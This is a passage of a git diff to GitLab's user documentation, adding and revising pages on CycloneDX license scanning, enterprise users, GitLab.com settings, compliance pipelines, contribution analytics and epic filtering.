in the widget. - ### ASDF_PYTHON_VERSION does not automatically install the version Defining a non-latest Python version in ASDF_PYTHON_VERSION [doesn't have it automatically installed](https://gitlab.com/gitlab-org/gitlab/-/issues/325604). If your project requires a non-latest version of Python: diff --git a/doc/user/compliance/license_list.md b/doc/user/compliance/license_list.md new file mode 100644 index 00000000000..7f55ba50c5b --- /dev/null +++ b/doc/user/compliance/license_list.md @@ -0,0 +1,35 @@ +--- +type: reference, howto +stage: Govern +group: Threat Insights +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# License list **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13582) in GitLab 12.7. + +The License list allows you to see your project's licenses and key +details about them. + +For the licenses to appear under the license list, the following +requirements must be met: + +1. You must be generating an SBOM file with components from one of our [one of our supported languages](license_scanning_of_cyclonedx_files/index.md#supported-languages-and-package-managers). +1. If using our [`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/License-Scanning.gitlab-ci.yml) to generate the SBOM file, then your project must use at least one of the [supported languages and package managers](license_compliance/index.md#supported-languages-and-package-managers). + +Alternatively, licenses will also appear under the license list when using our deprecated [`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/License-Scanning.gitlab-ci.yml) as long as the following requirements are met: + +1. The License Compliance CI/CD job must be [enabled](license_compliance/index.md#enable-license-compliance) for your project. +1. Your project must use at least one of the + [supported languages and package managers](license_compliance/index.md#supported-languages-and-package-managers). + +When everything is configured, on the left sidebar, select **Security & Compliance > License Compliance**. + +The licenses are displayed, where: + +- **Name:** The name of the license. +- **Component:** The components which have this license. +- **Policy Violation:** The license has a [license policy](license_approval_policies.md) marked as **Deny**. + + diff --git a/doc/user/compliance/license_scanning_of_cyclonedx_files/index.md b/doc/user/compliance/license_scanning_of_cyclonedx_files/index.md new file mode 100644 index 00000000000..483c15d648c --- /dev/null +++ b/doc/user/compliance/license_scanning_of_cyclonedx_files/index.md @@ -0,0 +1,123 @@ +--- +type: reference, howto +stage: Secure +group: Composition Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# License scanning of CycloneDX files **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/384932) in GitLab 15.9 [with two flags](../../../administration/feature_flags.md) named `license_scanning_sbom_scanner` and `package_metadata_synchronization`. Both flags are disabled by default and both flags must be enabled for this feature to work. + +FLAG: +On self-managed GitLab, this feature is not available. + +To detect the licenses in use, License Compliance relies on running the +[Dependency Scanning CI Jobs](../../application_security/dependency_scanning/index.md), +and analyzing the [CycloneDX](https://cyclonedx.org/) Software Bill of Materials (SBOM) generated by those jobs. +Other 3rd party scanners may also be used as long as they produce a CycloneDX file with a list of dependencies for [one of our supported languages](#supported-languages-and-package-managers). +This method of scanning is also capable of parsing and identifying over 500 different types of licenses +and can extract license information from packages that are dual-licensed or have multiple different licenses that apply. + +To enable license detection using Dependency Scanning in a project, +include the `Jobs/Dependency-Scanning.yml` template in its CI configuration, +but do not include the `Jobs/License-Scanning.yml` template. + +## Requirements + +The license scanning requirements are the same as those for [Dependency Scanning](../../application_security/dependency_scanning/index.md#requirements). + +## Supported languages and package managers + +License scanning is supported for the following languages and package managers: + +<!-- markdownlint-disable MD044 --> +<table class="supported-languages"> + <thead> + <tr> + <th>Language</th> + <th>Package Manager</th> + </tr> + </thead> + <tbody> + <tr> + <td>.NET</td> + <td rowspan="2"><a href="https://www.nuget.org/">NuGet</a></td> + </tr> + <tr> + <td>C#</td> + </tr> + <tr> + <td>C</td> + <td rowspan="2"><a href="https://conan.io/">Conan</a></td> + </tr> + <tr> + <td>C++</td> + </tr> + <tr> + <td>Go</td> + <td><a href="https://go.dev/">Go</a></td> + </tr> + <tr> + <td rowspan="2">Java</td> + <td><a href="https://gradle.org/">Gradle</a></td> + </tr> + <tr> + <td><a href="https://maven.apache.org/">Maven</a></td> + </tr> + <tr> + <td rowspan="2">JavaScript and TypeScript</td> + <td><a href="https://www.npmjs.com/">npm</a></td> + </tr> + <tr> + <td><a href="https://classic.yarnpkg.com/en/">yarn</a></td> + </tr> + <tr> + <td>PHP</td> + <td><a href="https://getcomposer.org/">Composer</a></td> + </tr> + <tr> + <td rowspan="4">Python</td> + <td><a href="https://setuptools.readthedocs.io/en/latest/">setuptools</a></td> + </tr> + <tr> + <td><a href="https://pip.pypa.io/en/stable/">pip</a></td> + </tr> + <tr> + <td><a href="https://pipenv.pypa.io/en/latest/">Pipenv</a></td> + </tr> + <tr> + <td><a href="https://python-poetry.org/">Poetry</a></td> + </tr> + <tr> + <td>Ruby</td> + <td><a href="https://bundler.io/">Bundler</a></td> + </tr> + <tr> + <td>Scala</td> + <td><a href="https://www.scala-sbt.org/">sbt</a></td> + </tr> + </tbody> +</table> +<!-- markdownlint-disable MD044 --> + +The supported files and versions are the ones supported by +[Dependency Scanning](../../application_security/dependency_scanning/index.md#supported-languages-and-package-managers). + +## Configuration + +To enable license scanning of CycloneDX files, +you must configure [Dependency Scanning](../../application_security/dependency_scanning/index.md#configuration). + +## License expressions + +GitLab has limited support for [composite licenses](https://spdx.github.io/spdx-spec/v2-draft/SPDX-license-expressions/). +License compliance can read multiple licenses, but always considers them combined using the `AND` operator. For example, +if a dependency has two licenses, and one of them is allowed and the other is denied by the project [policy](../license_approval_policies.md), +GitLab evaluates the composite license as _denied_, as this is the safer option. +The ability to support other license expression operators (like `OR`, `WITH`) is tracked +in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/6571). + +## Blocking merge requests based on detected licenses + +Users can require approval for merge requests based on the licenses that are detected by configuring a [license approval policy](../license_approval_policies.md). diff --git a/doc/user/crm/index.md b/doc/user/crm/index.md index 8c4fb6f1334..ebacda506b4 100644 --- a/doc/user/crm/index.md +++ b/doc/user/crm/index.md @@ -17,7 +17,7 @@ With customer relations management (CRM) you can create a record of contacts Contacts and organizations can only be created for root groups. You can use contacts and organizations to tie work to customers for billing and reporting purposes. -To read more about what is planned for the future, see [issue 2256](https://gitlab.com/gitlab-org/gitlab/-/issues/2256). +For more information about what is planned for the future, see [issue 2256](https://gitlab.com/gitlab-org/gitlab/-/issues/2256). ## Permissions diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index 44e13f70f2e..9c9b5301460 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -260,7 +260,7 @@ Prerequisites: To create a thread by replying to a comment: -1. On the top right of the comment, select **Reply to comment** (**{comment}**). +1. In the upper right of the comment, select **Reply to comment** (**{comment}**).  @@ -308,7 +308,7 @@ To resolve a thread: 1. Go to the thread. 1. Do one of the following: - - In the top right of the original comment, select the **Resolve thread** (**{check-circle}**) icon. + - In the upper right of the original comment, select **Resolve thread** (**{check-circle}**). - Below the last reply, in the **Reply** field, select **Resolve thread**. - Below the last reply, in the **Reply** field, enter text, select the **Resolve thread** checkbox, and select **Add comment now**. diff --git a/doc/user/enterprise_user/index.md b/doc/user/enterprise_user/index.md new file mode 100644 index 00000000000..3daee460956 --- /dev/null +++ b/doc/user/enterprise_user/index.md @@ -0,0 +1,71 @@ +--- +stage: Manage +group: Authentication and Authorization +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +type: reference +--- + +# Enterprise users **(PREMIUM SAAS)** + +Enterprise users have user accounts that are administered by an organization that +has purchased a [GitLab subscription](../../subscriptions/index.md). + +Enterprise users are identified by the [**Enterprise** badge](../project/badges.md) +next to their names on the [Members list](../group/manage.md#filter-and-sort-members-in-a-group). + +## Provision an enterprise user + +A user account is considered an enterprise account when: + +- A user without an existing GitLab user account uses the group's + [SAML SSO](../group/saml_sso/index.md) to sign in for the first time. +- [SCIM](../group/saml_sso/scim_setup.md) creates the user account on behalf of + the group. + +A user can also [manually connect an identity provider (IdP) to a GitLab account whose email address matches the subscribing organization's domain](../group/saml_sso/index.md#linking-saml-to-your-existing-gitlabcom-account). +By selecting **Authorize** when connecting these two accounts, the user account +with the matching email address is classified as an enterprise user. However, this +user account does not have an **Enterprise** badge in GitLab. + +Although a user can be a member of more than one group, each user account can be +provisioned by only one group. As a result, a user is considered an enterprise +user under one top-level group only. + +## Manage enterprise users in a namespace + +A top-level Owner of a namespace on a paid plan can retrieve information about and +manage enterprise user accounts in that namespace. + +These enterprise user-specific actions are in addition to the standard +[group member permissions](../permissions.md#group-members-permissions). + +### Disable two-factor authentication + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/9484) in GitLab 15.8. + +Top-level group Owners can disable two-factor authentication (2FA) for enterprise users. + +To disable 2FA: + +1. On the top bar, select **Main menu > Groups** and find your group. +1. On the left sidebar, select **Group information > Members**. +1. Find a user with the **Enterprise** and **2FA** badges. +1. Select **More actions** (**{ellipsis_v}**) and select **Disable two-factor authentication**. + +### Prevent users from creating groups and projects outside the corporate group + +A SAML identity administrator can configure the SAML response to set: + +- Whether users can create groups. +- The maximum number of personal projects users can create. + +For more information, see the [supported user attributes for SAML responses](../group/saml_sso/index.md#supported-user-attributes). + +### Bypass email confirmation for provisioned users + +A top-level group Owner can [set up verified domains to bypass confirmation emails](../group/saml_sso/index.md#bypass-user-email-confirmation-with-verified-domains). + +### Get users' email addresses through the API + +A top-level group Owner can use the [group and project members API](../../api/members.md) +to access users' information, including email addresses. diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md index cc4bfdb01de..f665395b103 100644 --- a/doc/user/feature_flags.md +++ b/doc/user/feature_flags.md @@ -2,35 +2,14 @@ stage: none group: Development info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments-to-development-guidelines" -description: "Understand what 'GitLab features deployed behind flags' means." +description: "View a list of all the flags available in the GitLab application." layout: 'feature_flags' --- -# GitLab functionality may be limited by feature flags +# All feature flags in GitLab > Feature flag documentation warnings were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227806) in GitLab 13.4. -GitLab releases some features in a disabled state using [feature flags](../development/feature_flags/index.md), -allowing them to be tested by specific groups of users and strategically -rolled out until they become enabled for everyone. +The following feature flags exist in GitLab. These flags determine the availability of each feature. -As a GitLab user, this means that some features included in a GitLab release -may be unavailable to you. - -In this case, you'll see a warning like this in the feature documentation: - -This in-development feature might not be available for your use. There can be -[risks when enabling features still in development](../administration/feature_flags.md#risks-when-enabling-features-still-in-development). -Refer to this feature's version history for more details. - -In the version history note, you'll find information on the state of the -feature flag, including whether the feature is on ("enabled by default") or -off ("disabled by default") for self-managed GitLab instances and for users of -GitLab.com. - -If you're a user of a GitLab self-managed instance and you want to try to use a -disabled feature, you can ask a [GitLab administrator to enable it](../administration/feature_flags.md), -although changing a feature's default state isn't recommended. - -If you're a GitLab.com user and the feature is disabled, be aware that GitLab may -be working on the feature for potential release in the future. +For self-managed instances, [GitLab administrators can change the state of the flag](../administration/feature_flags.md). diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index 9bb1c4e968c..fb32c64f06c 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -268,15 +268,18 @@ For more information, see [Runner SaaS](../../ci/runners/index.md). GitLab.com runs [Sidekiq](https://sidekiq.org) with arguments `--timeout=4 --concurrency=4` and the following environment variables: -| Setting | GitLab.com | Default | -|----------------------------------------|-------------|-----------| -| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | `1` | -| `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | `2000000` | `2000000` | -| `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - | -| `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` | -| `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` | - | `900` | -| `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` | -| `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` | +| Setting | GitLab.com | Default | +|----------------------------------------|------------|-----------| +| `GITLAB_MEMORY_WATCHDOG_ENABLED` | - | `true` | +| `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | - | `2000000` | +| `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - | +| `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` | +| `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` | - | `900` | +| `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` | +| `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` | + +For more information, see how to +[configure the environment variables](../../administration/sidekiq/sidekiq_memory_killer.md). NOTE: The `SIDEKIQ_MEMORY_KILLER_MAX_RSS` setting is `16000000` on Sidekiq import @@ -301,7 +304,7 @@ The list of GitLab.com specific settings (and their defaults) is as follows: | `autovacuum_vacuum_scale_factor` | 0.01 | 0.02 | | `checkpoint_completion_target` | 0.7 | 0.9 | | `checkpoint_segments` | 32 | 10 | -| `effective_cache_size` | 338688MB | Based on how much memory is available | +| `effective_cache_size` | 338688 MB | Based on how much memory is available | | `hot_standby` | on | off | | `hot_standby_feedback` | on | off | | `log_autovacuum_min_duration` | 0 | -1 | @@ -309,19 +312,19 @@ The list of GitLab.com specific settings (and their defaults) is as follows: | `log_line_prefix` | `%t [%p]: [%l-1]` | empty | | `log_min_duration_statement` | 1000 | -1 | | `log_temp_files` | 0 | -1 | -| `maintenance_work_mem` | 2048MB | 16 MB | +| `maintenance_work_mem` | 2048 MB | 16 MB | | `max_replication_slots` | 5 | 0 | | `max_wal_senders` | 32 | 0 | -| `max_wal_size` | 5GB | 1GB | -| `shared_buffers` | 112896MB | Based on how much memory is available | +| `max_wal_size` | 5 GB | 1 GB | +| `shared_buffers` | 112896 MB | Based on how much memory is available | | `shared_preload_libraries` | `pg_stat_statements` | empty | | `shmall` | 30146560 | Based on the server's capabilities | | `shmmax` | 123480309760 | Based on the server's capabilities | -| `wal_buffers` | 16MB | -1 | +| `wal_buffers` | 16 MB | -1 | | `wal_keep_segments` | 512 | 10 | | `wal_level` | replica | minimal | -| `statement_timeout` | 15s | 60s | -| `idle_in_transaction_session_timeout` | 60s | 60s | +| `statement_timeout` | 15 s | 60 s | +| `idle_in_transaction_session_timeout` | 60 s | 60 s | Some of these settings are in the process being adjusted. For example, the value for `shared_buffers` is quite high, and we are @@ -331,11 +334,15 @@ for `shared_buffers` is quite high, and we are GitLab.com uses the default of 60 seconds for [Puma request timeouts](../../administration/operations/puma.md#change-the-worker-timeout). -## Merge request reviewer maximum +## Maximum number of reviewers and assignees -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91406) in GitLab 15.3. +> - Maximum assignees [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368936) in GitLab 15.6. +> - Maximum reviewers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/366485) in GitLab 15.9. -A maximum of 100 reviewers can be assigned to a merge request. +Merge requests enforce these maximums: + +- Maximum assignees: 200 +- Maximum reviewers: 200 ## GitLab.com-specific rate limits @@ -373,9 +380,9 @@ More details are available on the rate limits for GitLab can rate-limit requests at several layers. The rate limits listed here are configured in the application. These limits are the most -restrictive per IP address. To learn more about the rate limiting -for GitLab.com, read our runbook page -[Overview of rate limits for GitLab.com](https://gitlab.com/gitlab-com/runbooks/-/tree/master/docs/rate-limiting). +restrictive per IP address. For more information about the rate limits +for GitLab.com, see +[an overview](https://gitlab.com/gitlab-com/runbooks/-/tree/master/docs/rate-limiting). ### Rate limiting responses @@ -429,7 +436,7 @@ No response headers are provided. ### Pagination response headers -For performance reasons, if a query returns more than 10,000 records, [GitLab excludes some headers](../../api/index.md#pagination-response-headers). +For performance reasons, if a query returns more than 10,000 records, [GitLab excludes some headers](../../api/rest/index.md#pagination-response-headers). ### Visibility settings diff --git a/doc/user/group/access_and_permissions.md b/doc/user/group/access_and_permissions.md index 4629f33f088..4aecf016e56 100644 --- a/doc/user/group/access_and_permissions.md +++ b/doc/user/group/access_and_permissions.md @@ -205,7 +205,7 @@ By default, projects in a group can be forked. Optionally, on [GitLab Premium](https://about.gitlab.com/pricing/) or higher tiers, you can prevent the projects in a group from being forked outside of the current top-level group. -This setting will be removed from the SAML setting page, and migrated to the +This setting is removed from the SAML setting page, and migrated to the group settings page. In the interim period, both of these settings are taken into consideration. If even one is set to `true`, then the group does not allow outside forks. @@ -296,7 +296,7 @@ Now you can edit the user's permissions from the **Members** page. ### Verify if access is blocked by IP restriction -If a user sees a 404 when they would normally expect access, and the problem is limited to a specific group, search the `auth.log` rails log for one or more of the following: +If a user sees a 404 when they would usually expect access, and the problem is limited to a specific group, search the `auth.log` rails log for one or more of the following: - `json.message`: `'Attempting to access IP restricted group'` - `json.allowed`: `false` diff --git a/doc/user/group/compliance_frameworks.md b/doc/user/group/compliance_frameworks.md index 9f40f9e84bf..84cca5800c2 100644 --- a/doc/user/group/compliance_frameworks.md +++ b/doc/user/group/compliance_frameworks.md @@ -11,22 +11,25 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can create a compliance framework that is a label to identify that your project has certain compliance requirements or needs additional oversight. The label can optionally enforce -[compliance pipeline configuration](#configure-a-compliance-pipeline) to the projects on which it is +[compliance pipeline configuration](#compliance-pipelines) to the projects on which it is [applied](../project/settings/index.md#add-a-compliance-framework-to-a-project). -Group owners can create, edit, and delete compliance frameworks: +Compliance frameworks are created on top-level groups. Group owners can create, edit, and delete compliance frameworks: 1. On the top bar, select **Main menu > Groups > View all groups** and find your group. 1. On the left sidebar, select **Settings** > **General**. 1. Expand the **Compliance frameworks** section. 1. Create, edit, or delete compliance frameworks. +Subgroups and projects have access to all compliance frameworks created on their top-level group. However, compliance frameworks cannot be created, edited, +or deleted at the subgroup or project level. Project owners can choose a framework to apply to their projects. + ## Default compliance frameworks > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375036) in GitLab 15.6. -Group owners can set a default compliance framework. The default framework is applied to all the new and imported -projects that are created within that group. It does not affect the framework applied to the existing projects. The +Group owners can set a default compliance framework. The default framework is applied to all the new and imported +projects that are created in that group. It does not affect the framework applied to the existing projects. The default framework cannot be deleted. A compliance framework that is set to default has a **default** label. @@ -84,7 +87,7 @@ mutation { } ``` -## Configure a compliance pipeline **(ULTIMATE)** +## Compliance pipelines **(ULTIMATE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3156) in GitLab 13.9, disabled behind `ff_evaluate_group_level_compliance_pipeline` [feature flag](../../administration/feature_flags.md). > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/300324) in GitLab 13.11. @@ -103,6 +106,19 @@ However, the compliance pipeline configuration can reference the `.gitlab-ci.yml See [example configuration](#example-configuration) for help configuring a compliance pipeline that runs jobs from labeled project pipeline configuration. +### Effect on labeled projects + +Users have no way of knowing that a compliance pipeline has been configured and might be confused why their own +pipelines are not running at all, or include jobs that they did not define themselves. + +When authoring pipelines on a labeled project, there is no indication that a compliance pipeline has been configured. +The only marker at the project level is the compliance framework label itself, but the label does not say whether the +framework has a compliance pipeline configured or not. + +Therefore, communicate with project users about compliance pipeline configuration to reduce uncertainty and confusion. + +### Configure a compliance pipeline + To configure a compliance pipeline: 1. On the top bar, select **Main menu > Groups > View all groups** and find your group. @@ -194,15 +210,21 @@ audit trail: include: # Execute individual project's configuration (if project contains .gitlab-ci.yml) project: '$CI_PROJECT_PATH' file: '$CI_CONFIG_PATH' - ref: '$CI_COMMIT_REF_NAME' # Must be defined or MR pipelines always use the use default branch + ref: '$CI_COMMIT_SHA' # Must be defined or MR pipelines always use the use default branch + rules: + - if: $CI_PROJECT_PATH != "my-group/project-1" # Must be the hardcoded path to the project that hosts this configuration. ``` -#### CF pipelines in Merge Requests originating in project forks +The `rules` configuration in the `include` definition avoids circular inclusion in case the compliance pipeline must be able to run in the host project itself. +You can leave it out if your compliance pipeline only ever runs in labeled projects. + +#### Compliance pipelines in merge requests originating in project forks -When an MR originates in a fork, the branch to be merged usually only exists in the fork. -When creating such an MR against a project with CF pipelines, the above snippet will fail with a +When a merge request originates in a fork, the branch to be merged usually only exists in the fork. +When creating such a merge request against a project with compliance pipelines, the above snippet fails with a `Project <project-name> reference <branch-name> does not exist!` error message. -This is because in the context of the target project, `$CI_COMMIT_REF_NAME` evaluates to a non-existing branch name. +This error occurs because in the context of the target project, `$CI_COMMIT_REF_NAME` evaluates to a non-existing +branch name. To get the correct context, use `$CI_MERGE_REQUEST_SOURCE_PROJECT_PATH` instead of `$CI_PROJECT_PATH`. This variable is only available in @@ -241,7 +263,7 @@ Generally, if a value in a compliance job: Either might be wanted or not depending on your use case. -There are a few best practices for ensuring that these jobs are always run exactly +The following are a few best practices for ensuring that these jobs are always run exactly as you define them and that downstream, project-level pipeline configurations cannot change them: @@ -266,7 +288,7 @@ compatibility for combining compliance pipelines, and parent and child pipelines Compliance pipelines start on the run of _every_ pipeline in a labeled project. This means that if a pipeline in the labeled project triggers a child pipeline, the compliance pipeline runs first. This can trigger the parent pipeline, instead of the child pipeline. -Therefore, in projects with compliance frameworks, we recommend replacing +Therefore, in projects with compliance frameworks, you should replace [parent-child pipelines](../../ci/pipelines/downstream_pipelines.md#parent-child-pipelines) with the following: - Direct [`include`](../../ci/yaml/index.md#include) statements that provide the parent pipeline with child pipeline configuration. @@ -274,3 +296,19 @@ Therefore, in projects with compliance frameworks, we recommend replacing pipeline feature. This alternative ensures the compliance pipeline does not re-start the parent pipeline. + +## Troubleshooting + +### Cannot remove compliance framework from a project + +Because of a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390626), if you move a project, its compliance +framework becomes orphaned and can't be removed. To manually remove a compliance framework from a project, run the +following GraphQL mutation with your project's ID: + +```graphql +mutation { + projectSetComplianceFramework(input: {projectId: "gid://gitlab/Project/1234567", complianceFrameworkId: null}) { + errors + } +} +``` diff --git a/doc/user/group/contribution_analytics/img/group_stats_graph.png b/doc/user/group/contribution_analytics/img/group_stats_graph.png Binary files differindex ccfd3782c6f..1c38a9c1fdf 100644 --- a/doc/user/group/contribution_analytics/img/group_stats_graph.png +++ b/doc/user/group/contribution_analytics/img/group_stats_graph.png diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md index ddf468e39b0..b0347ba5caa 100644 --- a/doc/user/group/contribution_analytics/index.md +++ b/doc/user/group/contribution_analytics/index.md @@ -4,62 +4,65 @@ stage: Plan group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Contribution Analytics **(PREMIUM)** +# Contribution analytics **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3090) in GitLab 12.2 for subgroups. -With Contribution Analytics, you can get an overview of the [contribution events](../../profile/contributions_calendar.md#user-contribution-events) in your -group. +Contribution analytics provide an overview of the +[contribution events](../../profile/contributions_calendar.md#user-contribution-events) made by your group's members. -- Analyze your team's contributions over a period of time. -- Identify opportunities for improvement with group members who may benefit from additional - support. +Use contribution analytics data visualizations to: -## View Contribution Analytics +- Analyze your group's contributions over a period of time. +- Identify group members who are high-performers or may benefit from additional support. -To view Contribution Analytics: +## View contribution analytics + +To view contribution analytics: 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Analytics > Contribution**. -## Using Contribution Analytics - -Three bar graphs illustrate the number of contributions made by each group member: +Three bar charts and a table illustrate the number of contributions made by each group member: - Push events - Merge requests - Closed issues -Hover over each bar to display the number of events for a specific group member. +### View a member's contributions + +You can view the number of events associated with a specific group member. + +To do this, hover over the bar with the member's name.  -## Changing the period time +### Zoom in on a chart -You can choose from the following three periods: +You can zoom in on a bar chart to display only a subset of group members. -- Last week (default) -- Last month -- Last three months +To do this, select the sliders (**{status-paused}**) below the chart and slide them along the axis. + +### Sort contributions + +Contributions per group member are also displayed in tabular format. +The table columns include the members' names and the number of contributions for different events. -Select the desired period from the calendar dropdown list. +To sort the table by a column, select the column header or the chevron (**{chevron-lg-down}** +for descending order, **{chevron-lg-up}** for ascending order). - +## Change the time period -## Sorting by different factors +You can display contribution analytics over different time periods: -Contributions per group member are also presented in tabular format. Select a column header to sort the table by that column: +- Last week (default) +- Last month +- Last three months -- Member name -- Number of pushed events -- Number of opened issues -- Number of closed issues -- Number of opened MRs -- Number of merged MRs -- Number of closed MRs -- Number of total contributions +To change the time period of the contribution analytics, select one of the three tabs +under **Contribution Analytics**. - +The selected time period applies to all charts and the table. ## Contribution analytics GraphQL API diff --git a/doc/user/group/epics/linked_epics.md b/doc/user/group/epics/linked_epics.md index 63bf1a4471c..9ce4a585d14 100644 --- a/doc/user/group/epics/linked_epics.md +++ b/doc/user/group/epics/linked_epics.md @@ -16,7 +16,7 @@ The relationship only shows up in the UI if the user can see both epics. When yo epic that has open blockers, a warning is displayed. NOTE: -To manage linked epics through our API, visit the [epic links API documentation](../../../api/linked_epics.md). +To manage linked epics through our API, see [Linked epics API](../../../api/linked_epics.md). ## Add a linked epic diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index fa8f96952b3..74cfa2bd6ed 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -24,7 +24,7 @@ To create an epic in the group you're in: 1. Get to the New Epic form: - Go to your group and from the left sidebar select **Epics**. Then select **New epic**. - - From an epic in your group, select the vertical ellipsis (**{ellipsis_v}**). Then select **New epic**. + - From an epic in your group, select **Epic actions** (**{ellipsis_v}**). Then select **New epic**. - From anywhere, in the top menu, select **New...** (**{plus-square}**). Then select **New epic**. - In an empty [roadmap](../roadmap/index.md), select **New epic**. @@ -116,10 +116,10 @@ Prerequisites: To reorder list items, when viewing an epic: -1. Hover over the list item row to make the drag icon (**{drag-vertical}**) visible. -1. Select and hold the drag icon. +1. Hover over the list item row to make the grip icon (**{grip}**) visible. +1. Select and hold the grip icon. 1. Drag the row to the new position in the list. -1. Release the drag icon. +1. Release the grip icon. ## Bulk edit epics @@ -240,6 +240,7 @@ than 1000. The cached value is rounded to thousands or millions and updated ever > - Filtering by milestone and confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268372) in GitLab 14.2 [with a flag](../../../administration/feature_flags.md) named `vue_epics_list`. Disabled by default. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/276189) in GitLab 14.7. > - [Feature flag `vue_epics_list`](https://gitlab.com/gitlab-org/gitlab/-/issues/327320) removed in GitLab 14.8. +> - Filtering by group was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385191) in GitLab 15.9. You can filter the list of epics by: @@ -249,6 +250,7 @@ You can filter the list of epics by: - Milestones - Confidentiality - Reaction emoji +- Groups  @@ -260,6 +262,25 @@ To filter: 1. From the dropdown list, select the scope or enter plain text to search by epic title or description. 1. Press <kbd>Enter</kbd> on your keyboard. The list is filtered. +### Filter with the OR operator + +> OR filtering for labels and authors was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/382969) in GitLab 15.9 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. +To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `or_issuable_queries`. +On GitLab.com, this feature is not available. +The feature is not ready for production use. + +When this feature is enabled, you can use the OR operator (**is one of: `||`**) +when you [filter the list of epics](#filter-the-list-of-epics) by: + +- Authors +- Labels + +`is one of` represents an inclusive OR. For example, if you filter by `Label is one of Deliverable` and +`Label is one of UX`, GitLab shows epics with either `Deliverable`, `UX`, or both labels. + ## Sort the list of epics You can sort the epics list by: @@ -500,10 +521,12 @@ The maximum number of direct child epics is 100. > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8502) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `child_epics_from_different_hierarchies`. Disabled by default. > - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382503) from Reporter to Guest in GitLab 15.7. +> - Cross-group child epics [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/375622) in GitLab 15.9. Enabled by default. FLAG: -On self-managed GitLab, by default this feature is not available. To make it available per group, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `child_epics_from_different_hierarchies`. -On GitLab.com, this feature is not available. The feature is not ready for production use. +On self-managed GitLab, by default this feature is available. To disable it, +ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `child_epics_from_different_hierarchies`. +On GitLab.com, this feature is available. You can add a child epic that belongs to a group that is different from the parent epic's group. diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md index c264b5ceaf8..7f8bb95f4d5 100644 --- a/doc/user/group/import/index.md +++ b/doc/user/group/import/index.md @@ -35,75 +35,87 @@ Also on self-managed GitLab, by default [migrating project items](#migrated-proj this feature, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. The feature is not ready for production use. On GitLab.com, migration of both groups and projects is available. -You can migrate top-level groups to: +Migrating groups by direct transfer copies the groups from one place to another. You can: -- Another top-level group. -- The subgroup of any existing top-level group. -- Another GitLab instance, including GitLab.com. +- Copy many groups at once. +- Copy top-level groups to: + - Another top-level group. + - The subgroup of any existing top-level group. + - Another GitLab instance, including GitLab.com. +- Copy groups with projects (in [beta](../../../policy/alpha-beta-support.md#beta-features) and not ready for production + use) or without projects. Copying projects with groups is available: + - On GitLab.com by default. + - On self-managed 